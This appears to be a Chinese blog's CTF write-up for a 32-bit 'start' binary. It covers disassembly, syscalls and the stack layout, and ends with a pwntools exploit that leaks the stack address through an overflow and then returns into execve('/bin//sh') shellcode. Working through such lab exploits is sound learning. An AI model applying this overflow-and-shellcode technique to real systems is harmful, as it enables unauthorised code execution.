1_start_32/需要与电脑沟通

一定要动态调试!!!

发现了汇编的精妙之处(原来你的电脑之间沟通只差一个gdb
注:我们gdb-pedachecksec可能会出错(开启了NX机制,谁让你往里面写shellcode啊) ,要用pwntools框架的checksec检测一下。

1_start_32/需要与电脑沟通_第1张图片
1_start_32/需要与电脑沟通_第2张图片

start入口
.text:08048060 _start          proc near
.text:08048060                 push    esp
.text:08048061                 push    offset _exit   //自己gdb调试得到这是 0804809D  函数结束的地方,我们调用一个总要回到跳出函数
.text:08048066                 xor     eax, eax     //xor 进行异或处理将寄存器清空
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h    //压入我们的字符串
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; write_addr    //
.text:08048089                 mov     dl, 14h         ; len    //输入文本的长度
.text:0804808B                 mov     bl, 1           ; fd     //文件表示符   1表示标准输出
.text:0804808D                 mov     al, 4    //调用的是write
.text:0804808F                 int     80h             ; LINUX - sys_write   //调用程序  int可以理解为我们的call指令
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3   //调用read函数
.text:08048097                 int     80h             ; LINUX - read   //我们补全为read
.text:08048099                 add     esp, 14h   //将调回栈的开的地方 存储offset _exit的地方
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
结束exit
.text:0804809D _exit           proc near               ; DATA XREF: _start+1�o
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start
先了解 (linux syscall的资料在这里)

系统调用通过 int 80h 实现,执行时 eax中为调用的功能号,ebx、ecx、edx 等以此为参数。系统调用号写在/usr/include/asm/unistd.h

#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4 
#define __NR_open                 5

又要做图理解了
1_start_32/需要与电脑沟通_第3张图片
图片.png
结束的时候

1_start_32/需要与电脑沟通_第4张图片

注: 有人问为什么'A'*20+write泄露的是esp的地址
程序一开会就先将我们的esp入栈,然后再结束的时候,ret指令被我们改为了write的地址,write的作用的打印出来栈内的数据 payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)

注:有人会问我为什么泄露出来了的是esp的位置(其实就是buf开始的栈的地址),那payload的时候'A'*20+esp_addr(不就行了嘛,为什么要加20呢)。我们在前面会发现存在(add esp ,0x14),他的作用就是:输入完,我们要栈清空(跳回我们原来开始输入数据的地方,)(其实+20是为了跳过add esp,0x14的检测)我们跳过他的检测,我们shellcode就可以随便写了,反正获得buf的地址,后面就随便写啦

注:我们为什么不可以直接将我们的shellcode,利用ret返回地址,填写到一个我们可以执行的空间去呢,因为程序给我们的条件太少了,自己还没找到可以利用的可写的bss或者date段。

1_start_32/需要与电脑沟通_第5张图片
shellcode
EXP
from pwn import *
p = process('./start')


#context.log_level = 'debug'
#raw_input()
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#gdb.attach(p)
write_addr = 0x08048087
payload1 = 'A'*20 + p32(write_addr)
p.send(payload1)
#gdb.attach(p)

p.recvuntil("Let's start the CTF:") 
esp = u32(p.recv(4))
#gdb.attach(p)
print "[+]esp_addr:" + hex(esp)
#gdb.attach(p)

offset = 20
payload2 = 'a'*20+ p32(esp+offset)  + shellcode  + 'a'*100  (栈的初始化地址暴露,我们就可以说获得栈的空间随便可以用了)(针对这道题而已)
p.send(payload2)
p.interactive()
#p.close()  ##感觉没撒实际效果,我们只要交互就ok了

你可能感兴趣的:(1_start_32/需要与电脑沟通)